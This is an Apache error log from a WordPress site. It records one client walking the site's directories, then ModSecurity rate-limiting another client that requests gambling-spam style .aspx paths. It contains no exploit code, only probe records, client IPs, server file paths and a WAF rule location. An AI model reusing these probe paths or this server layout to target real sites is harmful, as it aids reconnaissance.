[Sat Apr 25 21:18:42.890933 2026] [autoindex:error] [pid 59897:tid 59928] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:46.692470 2026] [autoindex:error] [pid 59897:tid 59931] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:47.286474 2026] [autoindex:error] [pid 59897:tid 59944] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:52.991270 2026] [autoindex:error] [pid 59897:tid 59932] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:53.280468 2026] [autoindex:error] [pid 59897:tid 59945] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:00.839641 2026] [autoindex:error] [pid 59897:tid 59931] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:02.966401 2026] [autoindex:error] [pid 59897:tid 59950] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:05.008930 2026] [autoindex:error] [pid 59897:tid 59937] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:05.297134 2026] [autoindex:error] [pid 59897:tid 59939] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:05.613657 2026] [autoindex:error] [pid 59897:tid 59936] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:05.895123 2026] [autoindex:error] [pid 59897:tid 59930] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:07.922971 2026] [autoindex:error] [pid 59897:tid 59945] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:11.643256 2026] [autoindex:error] [pid 59897:tid 59933] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:11.915303 2026] [autoindex:error] [pid 59897:tid 59929] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:17.286086 2026] [autoindex:error] [pid 59897:tid 59947] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:19.369707 2026] [autoindex:error] [pid 59897:tid 59943] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:23.129141 2026] [autoindex:error] [pid 59897:tid 59927] [client 185.82.72.8:35727] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:26.831493 2026] [autoindex:error] [pid 59897:tid 59949] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:27.110605 2026] [autoindex:error] [pid 59897:tid 59942] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:27.384732 2026] [autoindex:error] [pid 59897:tid 59946] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:27.661625 2026] [autoindex:error] [pid 59897:tid 59944] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:19:27.942782 2026] [autoindex:error] [pid 59897:tid 59947] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 22:09:44.273914 2026] [:error] [pid 3212:tid 3219] [client 147.135.214.103:39604] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aezLKPg-28TY8_YLtUdLXQAAAQU"]
[Sat Apr 25 22:09:48.980007 2026] [:error] [pid 59896:tid 59920] [client 147.135.214.103:39608] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aezLLLLLzhtkd-OXUgAE3gAAAFQ"]
[Sat Apr 25 22:09:52.893657 2026] [:error] [pid 59896:tid 59905] [client 147.135.214.103:39614] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aezLMLLLzhtkd-OXUgAE4QAAAEU"]
[Sat Apr 25 22:09:56.624554 2026] [:error] [pid 3212:tid 3215] [client 147.135.214.103:59786] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aezLNPg-28TY8_YLtUdLcwAAAQE"]
[Sat Apr 25 22:10:00.870532 2026] [:error] [pid 59897:tid 59928] [client 147.135.214.103:59794] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aezLOPBrrkdzpEbmK4eP3gAAAIE"]
[Sat Apr 25 22:10:04.814907 2026] [:error] [pid 59896:tid 59922] [client 147.135.214.103:59764] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aezLPLLLzhtkd-OXUgAE7wAAAFY"]
[Sat Apr 25 22:10:08.511882 2026] [:error] [pid 59897:tid 59950] [client 147.135.214.103:59770] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aezLQPBrrkdzpEbmK4eP6AAAAJc"]
[Sat Apr 25 22:10:12.068402 2026] [:error] [pid 59985:tid 59989] [client 147.135.214.103:59778] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aezLRAF_zDvEhKvyTH6_RgAAAAI"]
[Sat Apr 25 22:10:15.079000 2026] [:error] [pid 59896:tid 59921] [client 147.135.214.103:40198] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aezLR7LLzhtkd-OXUgAE-wAAAFU"]
[Sat Apr 25 22:10:17.960916 2026] [:error] [pid 59897:tid 59933] [client 147.135.214.103:40208] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aezLSfBrrkdzpEbmK4eP9AAAAIY"]
[Sat Apr 25 22:10:21.471871 2026] [:error] [pid 3212:tid 3221] [client 147.135.214.103:40224] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aezLTfg-28TY8_YLtUdLlAAAAQc"]
[Sat Apr 25 22:10:24.635147 2026] [:error] [pid 3212:tid 3223] [client 147.135.214.103:58632] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aezLUPg-28TY8_YLtUdLpgAAAQk"]
[Sat Apr 25 22:10:27.976750 2026] [:error] [pid 59896:tid 59905] [client 147.135.214.103:58640] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aezLU7LLzhtkd-OXUgAFBwAAAEU"]
[Sat Apr 25 22:10:31.092872 2026] [:error] [pid 3212:tid 3238] [client 147.135.214.103:58648] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aezLV_g-28TY8_YLtUdLvQAAARg"]
[Sat Apr 25 22:11:05.080656 2026] [:error] [pid 59896:tid 59912] [client 147.135.214.103:57234] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aezLebLLzhtkd-OXUgAFSgAAAEw"]
[Sat Apr 25 22:11:07.834725 2026] [:error] [pid 59896:tid 59903] [client 147.135.214.103:34538] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aezLe7LLzhtkd-OXUgAFUwAAAEM"]
[Sat Apr 25 22:11:10.472200 2026] [:error] [pid 3212:tid 3231] [client 147.135.214.103:34540] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aezLfvg-28TY8_YLtUdMFAAAARE"]
[Sat Apr 25 22:11:13.358250 2026] [:error] [pid 3212:tid 3226] [client 147.135.214.103:34556] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aezLgfg-28TY8_YLtUdMHAAAAQw"]
[Sat Apr 25 22:11:16.053880 2026] [:error] [pid 3212:tid 3236] [client 147.135.214.103:59232] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aezLhPg-28TY8_YLtUdMJQAAARY"]
[Sat Apr 25 22:11:18.988951 2026] [:error] [pid 59896:tid 59921] [client 147.135.214.103:59242] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aezLhrLLzhtkd-OXUgAFWwAAAFU"]
[Sat Apr 25 22:11:21.540486 2026] [:error] [pid 3212:tid 3236] [client 147.135.214.103:59258] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aezLifg-28TY8_YLtUdMOAAAARY"]
[Sat Apr 25 22:11:24.546110 2026] [:error] [pid 59897:tid 59947] [client 147.135.214.103:34706] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aezLjPBrrkdzpEbmK4eQLgAAAJQ"]
[Sat Apr 25 22:11:27.166231 2026] [:error] [pid 59985:tid 60001] [client 147.135.214.103:34722] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aezLjwF_zDvEhKvyTH6_iQAAAA4"]
[Sat Apr 25 22:11:29.553993 2026] [:error] [pid 59896:tid 59917] [client 147.135.214.103:34726] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aezLkbLLzhtkd-OXUgAFbwAAAFE"]
[Sat Apr 25 22:11:32.108179 2026] [:error] [pid 3212:tid 3231] [client 147.135.214.103:34734] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aezLlPg-28TY8_YLtUdMPwAAARE"]
[Sat Apr 25 22:11:34.779994 2026] [:error] [pid 59896:tid 59906] [client 147.135.214.103:53446] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aezLlrLLzhtkd-OXUgAFdQAAAEY"]
[Sat Apr 25 22:11:37.468701 2026] [:error] [pid 59898:tid 59954] [client 147.135.214.103:53458] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aezLmR-4vImxb0kbdze09QAAAMA"]
[Sat Apr 25 22:11:40.112611 2026] [:error] [pid 59896:tid 59912] [client 147.135.214.103:53464] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aezLnLLLzhtkd-OXUgAFeAAAAEw"]
[Sat Apr 25 22:11:42.688904 2026] [:error] [pid 59898:tid 59956] [client 147.135.214.103:53490] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aezLnh-4vImxb0kbdze0-QAAAMI"]
[Sat Apr 25 22:11:45.196139 2026] [:error] [pid 3212:tid 3218] [client 147.135.214.103:58374] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aezLofg-28TY8_YLtUdMWQAAAQQ"]
[Sat Apr 25 22:11:47.781430 2026] [:error] [pid 59897:tid 59943] [client 147.135.214.103:58382] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aezLo_BrrkdzpEbmK4eQUwAAAJA"]
[Sat Apr 25 22:11:50.520822 2026] [:error] [pid 59985:tid 60009] [client 147.135.214.103:58386] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aezLpgF_zDvEhKvyTH6_owAAABY"]
[Sat Apr 25 22:11:53.163088 2026] [:error] [pid 59897:tid 59935] [client 147.135.214.103:58398] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aezLqfBrrkdzpEbmK4eQWwAAAIg"]
[Sat Apr 25 22:11:55.883600 2026] [:error] [pid 59898:tid 59970] [client 147.135.214.103:53670] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aezLqx-4vImxb0kbdze1BgAAANA"]
